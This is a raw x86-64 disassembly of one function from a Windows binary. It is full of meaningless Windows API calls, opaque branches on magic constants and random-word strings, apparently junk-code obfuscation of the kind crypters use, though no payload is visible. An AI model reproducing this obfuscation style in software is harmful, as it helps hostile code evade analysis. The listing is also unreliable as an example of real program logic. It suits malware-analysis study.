movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [0x14025d758]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14025d750], ax
xor r8d, r8d
lea rdx, [rsp + 0x1fd]
lea rcx, [rsp + 0x90d8]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x4ed4], eax
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14a8]
and eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e30]
mov dword [rsp + 0x4ee0], eax
mov rax, qword [rsp + 0x8fa0]
mov qword [rsp + 0x27858], rax
movabs rax, 0x40cfa885aba069f3
cmp qword [rsp + 0x27858], rax
je 0x14020e16f
jmp 0x14020e1be
mov rax, qword [rsp + 0x9038]
mov rcx, qword [rsp + 0x9170]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90a0], rax
movsx eax, byte [rsp + 0x1fe]
movsx ecx, byte [rsp + 0x1fc]
or eax, ecx
mov rcx, qword [rsp + 0x9178]
mov byte [rcx], al
lea rcx, [rsp + 0x280b0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x4f64], eax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
call fcn.14020f790
nop
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b4]
and eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0xfbc]
add eax, ecx
mov word [0x14025d750], ax
movzx eax, byte [rsp + 0x1fd]
mov byte [rsp + 0x830c], al
cmp byte [rsp + 0x830c], 0x35
je 0x14020e239
jmp 0x14020e23b
jmp 0x14020e25e
mov r8w, SHSetInstanceExplorer
mov rdx, qword [rsp + 0x9060]
mov rcx, qword [rsp + 0x9320]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0x14a8], ax
lea r8, [rsp + 0x27bc0]
lea rdx, [rsp + 0x27910]
lea rcx, [rsp + 0x8fa0]
call qword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [rsp + 0x4e74], eax
movsx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e9c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
jmp 0x14020e310
mov edx, ILCreateFromPathA
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_TerminateJobObject]
mov dword [rsp + 0x4f90], eax
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [rsp + 0x1f6]
sub eax, ecx
mov byte [rsp + 0x1f8], al
mov r8, qword [rsp + 0x90a0]
mov edx, dword [rsp + 0x4dec]
mov ecx, dword [rsp + 0x4e58]
call fcn.14020ffb0
nop
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [rsp + 0x14a8]
shl eax, cl
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov r8d, 0x90
lea rdx, [rsp + 0x27920]
lea rcx, str.Maddeninglykeepingcoapts
call qword [sym.imp.KERNEL32.dll_GetLongPathNameA]
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x90a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f78]
mov qword [rsp + 0x27860], rcx
movzx ecx, al
mov rax, qword [rsp + 0x27860]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x8f60]
mov rdx, qword [rsp + 0x8fa0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x14020e427
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
mov dword [rsp + 0x8310], eax
cmp dword [rsp + 0x8310], 0x3bb
je 0x14020e3e2
cmp dword [rsp + 0x8310], 0x671
je 0x14020e404
jmp 0x14020e425
mov eax, dword [rsp + 0x4e8c]
mov ecx, dword [0x14025c008]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14025d760]
mov dword [rcx], eax
call fcn.14020f790
nop
jmp 0x14020e425
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
jmp 0x14020e446
mov rax, qword [rsp + 0x8fd0]
mov rcx, qword [0x14025d760]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x1fa]
movsx ecx, byte [rsp + 0x1f7]
or eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f9]
xor eax, ecx
mov byte [rsp + 0x1ac], al
lea rcx, [rsp + 0x278b0]
call qword [sym.imp.KERNEL32.dll_GetNumaHighestNodeNumber]
mov dword [rsp + 0x4ea8], eax
movzx ecx, word [rsp + 0x14a4]
call fcn.14020feb0
nop
jmp 0x14020e4ee
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9038]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x90c0]
mov rdx, qword [rsp + 0x90a0]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14020e4ee
movzx eax, word [rsp + 0x14a4]
movzx ecx, word [rsp + 0x14b0]
and eax, ecx
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4e98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9120]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x9060]
mov qword [rsp + 0x20], rax
mov r9d, 0x6f
mov r8, qword [rsp + 0x9060]
mov rdx, qword [rsp + 0x9320]
mov rcx, qword [rsp + 0x92a0]
call qword [sym.imp.KERNEL32.dll_SearchPathA]
mov dword [rsp + 0x4e88], eax
mov rax, qword [rsp + 0x90b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x90b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1f7], al
movzx ecx, word [rsp + 0xeb4]
call fcn.14020feb0
nop
lea r8, [rsp + 0x9090]
mov edx, 1
mov rcx, qword [rsp + 0x90d8]
call qword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [rsp + 0x4e70], eax
movzx eax, word [rsp + 0x14b0]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
mov eax, dword [rsp + 0x4e88]
mov dword [rsp + 0x8314], eax
cmp dword [rsp + 0x8314], 0x5743889e
je 0x14020e5dc
jmp 0x14020e614
lea rax, [rsp + 0x4f44]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x4f44]
mov r8d, ILFindChild
mov rdx, qword [rsp + 0x9320]
mov rcx, qword [rsp + 0x9088]
call qword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
sub eax, ecx
mov word [rsp + 0xeb4], ax
movzx eax, word [rsp + 0x14b0]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x9030]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0x1f7]
mov rax, qword [rsp + 0x90b0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x1f7]
call fcn.1402104a0
nop
jmp 0x14020e77f
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e9c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov edx, dword [rsp + 0x4e88]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x14020e77f
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x90a0]
mov qword [rsp + 0x27868], rax
movabs rax, 0x5058d4348a5d1164
cmp qword [rsp + 0x27868], rax
je 0x14020e6e6
jmp 0x14020e762
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
movabs rax, 0x39b182df4d6e3ae4
mov rcx, qword [rsp + 0x90a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov eax, dword [0x14025c010]
movzx ecx, al
mov eax, dword [rsp + 0x4e9c]
shr eax, cl
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
mov r8d, 0xe1
mov rdx, qword [rsp + 0x9028]
mov ecx, SHTestTokenMembership
call sub.KERNEL32.dll_VerLanguageNameA
mov dword [rsp + 0x4ebc], eax
jmp 0x14020e77f
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e18], eax
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
mov dword [rsp + 0x4ea8], eax
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1ac]
sub eax, ecx
mov byte [rsp + 0x1f6], al
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [rsp + 0x14a8]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
lea rdx, str.dreadfully_tackler_Hurdled_Rwanda_Unbridgeable
lea rcx, [rsp + 0x27bc0]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov dword [rsp + 0x4e8c], eax
mov rax, qword [rsp + 0x8fc0]
mov qword [rsp + 0x27870], rax
movabs rax, 0x4766e8dc490c2e01
cmp qword [rsp + 0x27870], rax
je 0x14020e8b1
movabs rax, 0xe3c3733055253c68
cmp qword [rsp + 0x27870], rax
je 0x14020e81f
jmp 0x14020e8d0
movabs rax, 0x109305a478408cb1
cmp qword [rsp + 0x9038], rax
jne 0x14020e869
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x4e8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e18], eax
mov rax, qword [rsp + 0x8fe0]
mov ecx, dword [rsp + 0x4e98]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8fe0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov dword [rsp + 0x4e58], eax
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1ac]
sub eax, ecx
mov byte [rsp + 0x1f8], al
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9030]
mov word [rcx], ax
jmp 0x14020e8d0
mov rax, qword [rsp + 0x9008]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f7], al
jmp 0x14020e90d
movzx eax, word [rsp + 0x14a4]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0xeb4]
mov rax, qword [rsp + 0x9008]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x1f7]
mov rax, qword [rsp + 0x9000]
movzx ecx, byte [rax]
call fcn.1402104a0
nop
movabs rax, 0x89d2b8e0cf9620f
mov rcx, qword [rsp + 0x9038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x9000]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [0x14025c00c]
shl eax, cl
mov byte [rsp + 0x1f6], al
mov eax, dword [rsp + 0x4e8c]
mov rcx, qword [rsp + 0x8fd0]
mov qword [rsp + 0x27878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x27878]
mov eax, dword [rax]
sar eax, cl
mov ecx, dword [rsp + 0x4e18]
imul ecx, dword [rsp + 0x4e30]
cmp eax, ecx
jne 0x14020ea4c
mov eax, dword [rsp + 0x4e88]
mov dword [rsp + 0x8318], eax
cmp dword [rsp + 0x8318], 0xa58c0b3f
je 0x14020ea2b
cmp dword [rsp + 0x8318], 0xc05587bf
je 0x14020e9ef
jmp 0x14020ea4a
mov edx, 0xe6
mov rcx, qword [rsp + 0x277c8]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a8], ax
jmp 0x14020ea4a
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
jmp 0x14020ea69
lea rdx, str.Thumbnail_bootlaces_Lapidary_Pedagogue_feminism
lea rcx, [rsp + 0x27920]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov qword [rsp + 0x9068], rax
movsx eax, byte [rsp + 0x1f7]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
lea r9, [rsp + 0x9038]
mov r8d, 0xf8
mov edx, 0x9d
mov rcx, qword [rsp + 0x9070]
call sub.VERSION.dll_GetFileVersionInfoA
mov dword [rsp + 0x4e70], eax
mov eax, dword [rsp + 0x4dec]
mov dword [rsp + 0x4e9c], eax
mov eax, dword [rsp + 0x4e30]
mov dword [rsp + 0x831c], eax
cmp dword [rsp + 0x831c], 0x4471855f
je 0x14020eada
jmp 0x14020eb3d
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
sub eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e18], eax
mov rax, qword [rsp + 0x8fb0]
movzx r8d, word [rax]
mov rdx, qword [rsp + 0x9038]
mov rax, qword [rsp + 0x8fb0]
movzx ecx, word [rax]
call fcn.140210960
nop
jmp 0x14020eb69
lea r9, [rsp + 0x8fd8]
lea r8, [rsp + 0x4e5c]
mov rdx, qword [rsp + 0x9060]
lea rcx, [rsp + 0x1f7]
call sub.VERSION.dll_VerQueryValueA
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e8c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x4e30]
mov edx, dword [rsp + 0x4e18]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14020ec47
mov eax, dword [0x14025c010]
mov dword [rsp + 0x8320], eax
cmp dword [rsp + 0x8320], 0xd89bd958
je 0x14020ebc4
cmp dword [rsp + 0x8320], 0xfd7a2cba
je 0x14020ec02
jmp 0x14020ec45
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
xor eax, ecx
mov rcx, qword [rsp + 0x9040]
mov word [rcx], ax
lea rdx, [rsp + 0x14a8]
mov rcx, qword [rsp + 0x9070]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x4e9c], eax
jmp 0x14020ec45
mov rax, qword [rsp + 0x9000]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8fc0]
shr rax, cl
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
jmp 0x14020ec7b
movabs rax, 0xb4723ea8af332f8
cmp qword [rsp + 0x9038], rax
je 0x14020ec7b
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14a4], ax
mov eax, dword [rsp + 0x4e5c]
mov ecx, dword [0x14025c008]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e20], eax
mov r8d, 0x6f
mov rax, qword [rsp + 0x8fe0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x8fe0]
mov ecx, dword [rax]
call fcn.14020ffb0
nop
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fa0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
lea rdx, [rsp + 0x14a4]
mov rcx, qword [rsp + 0x9070]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x4e84], eax
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fa0], rax
lea r8, [rsp + 0x9008]
mov dx, 0xed
mov cx, PathMakeUniqueName
call qword [sym.imp.ole32.dll_CoDosDateTimeToFileTime]
mov dword [rsp + 0x4e70], eax
movzx r8d, word [rsp + 0x14a4]
mov edx, reloc.SHELL32.dll_ILFindChild
mov rax, qword [rsp + 0x8fb8]
movzx ecx, word [rax]
call fcn.140210960
nop
jmp 0x14020edff
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
shl eax, cl
movsx ecx, word [rsp + 0x14a8]
mov rdx, qword [rsp + 0x8fd8]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x14020edff
lea r9, [rsp + 0x27890]
lea r8, [rsp + 0x8fd0]
mov edx, SHGetNewLinkInfoA
mov rcx, qword [rsp + 0x277d0]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0x4e80], eax
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [rsp + 0x4e30]
xor ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
movsx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
cmp eax, ecx
jge 0x14020ee49
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
jmp 0x14020ef6f
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8f60]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14020ef6f
mov eax, dword [rsp + 0x4e30]
mov ecx, dword [rsp + 0x4e20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov dword [rcx], eax
xor r8d, r8d
lea rdx, [rsp + 0x8f98]
lea rcx, [rsp + 0x278f0]
call qword [sym.imp.ole32.dll_OleGetIconOfClass]
mov qword [rsp + 0x8ff0], rax
movzx eax, word [rsp + 0x14a4]
mov dword [rsp + 0x8324], eax
cmp dword [rsp + 0x8324], 0xde8
je 0x14020eeef
cmp dword [rsp + 0x8324], 0xf0a
je 0x14020ef4f
jmp 0x14020ef6f
mov rax, qword [rsp + 0x8fa0]
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14a8]
and eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a4], ax
jmp 0x14020ef6f
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
mov ecx, 0x69
call qword [sym.imp.ole32.dll_CoRevokeClassObject]
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ac]
add eax, 0x74
mov byte [rsp + 0x1f6], al
lea r8, [rsp + 0x8f68]
lea rdx, [rsp + 0x278c0]
lea rcx, [rsp + 0x4e20]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x4e74], eax
movsx eax, byte [rsp + 0x1f7]
add eax, 0x21
mov byte [rsp + 0x1f7], al
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov dword [rsp + 0x8328], eax
cmp dword [rsp + 0x8328], 0x1b773eb6
je 0x14020f01b
jmp 0x14020f068
mov eax, dword [rsp + 0x4e18]
mov ecx, dword [rsp + 0x4e20]
add ecx, eax
mov eax, ecx
mov dword [0x14025c008], eax
lea rdx, [rsp + 0x4dec]
lea rcx, [rsp + 0x4e34]
call qword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
add eax, 0xbfb9ea4e
mov dword [rsp + 0x4dec], eax
jmp 0x14020f07d
lea rcx, [rsp + 0x1f6]
call qword [sym.imp.ole32.dll_CoGetCurrentLogicalThreadId]
mov dword [rsp + 0x4fa0], eax
jmp 0x14020f0b1
movzx eax, word [rsp + 0x14a4]
cmp eax, 0x8de
jne 0x14020f0b1
call qword [sym.imp.ole32.dll_CoRevokeMallocSpy]
mov dword [rsp + 0x4e48], eax
mov eax, dword [rsp + 0x4dec]
sub eax, 0x7622c876
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4dec]
add eax, 0x3a552dff
mov rcx, qword [rsp + 0x8f70]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1f6]
add eax, 0x1e
mov byte [rsp + 0x1f6], al
call fcn.14020f790
nop
jmp 0x14020f1d9
movzx eax, word [rsp + 0x14a4]
cmp eax, 0xe74
jg 0x14020f1d9
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
cmp rax, qword [rcx]
ja 0x14020f139
movzx r8d, word [rsp + 0x14a4]
mov edx, reloc.SHELL32.dll_PathMakeUniqueName
movzx ecx, word [rsp + 0x14a4]
call fcn.140210960
nop
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov dword [rsp + 0x832c], eax
cmp dword [rsp + 0x832c], 0x4495
je 0x14020f1c7
cmp dword [rsp + 0x832c], 0x6247
je 0x14020f167
jmp 0x14020f1d9
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
sub eax, 0x62f0
mov word [rsp + 0xfbc], ax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f60]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
lea r8, [rsp + 0x8f70]
mov edx, 0xf0
lea rcx, [rsp + 0x8f60]
call qword [sym.imp.ole32.dll_CoGetStdMarshalEx]
mov dword [rsp + 0x4e48], eax
jmp 0x14020f1d9
mov eax, dword [rsp + 0x4e18]
add eax, 0x339b1874
mov dword [0x14025c008], eax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xfbc]
call qword [sym.imp.ole32.dll_CoLockObjectExternal]
mov dword [rsp + 0x4e34], eax
movzx eax, word [rsp + 0x14a4]
xor eax, 0x6c7
mov word [rsp + 0x14a4], ax
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
and eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movzx r8d, word [rsp + 0x14a4]
mov edx, 0xfa
movzx ecx, word [rsp + 0x14a4]
call fcn.140210960
nop
mov eax, dword [rsp + 0x4dec]
add eax, 0x8d035e8c
mov dword [rsp + 0x4dec], eax
mov r8w, 0x2a
mov edx, 0x6a
mov cx, 0x29
call fcn.140210960
mov eax, dword [rsp + 0x6b94]
add rsp, 0x28848
pop rdi
pop rsi
ret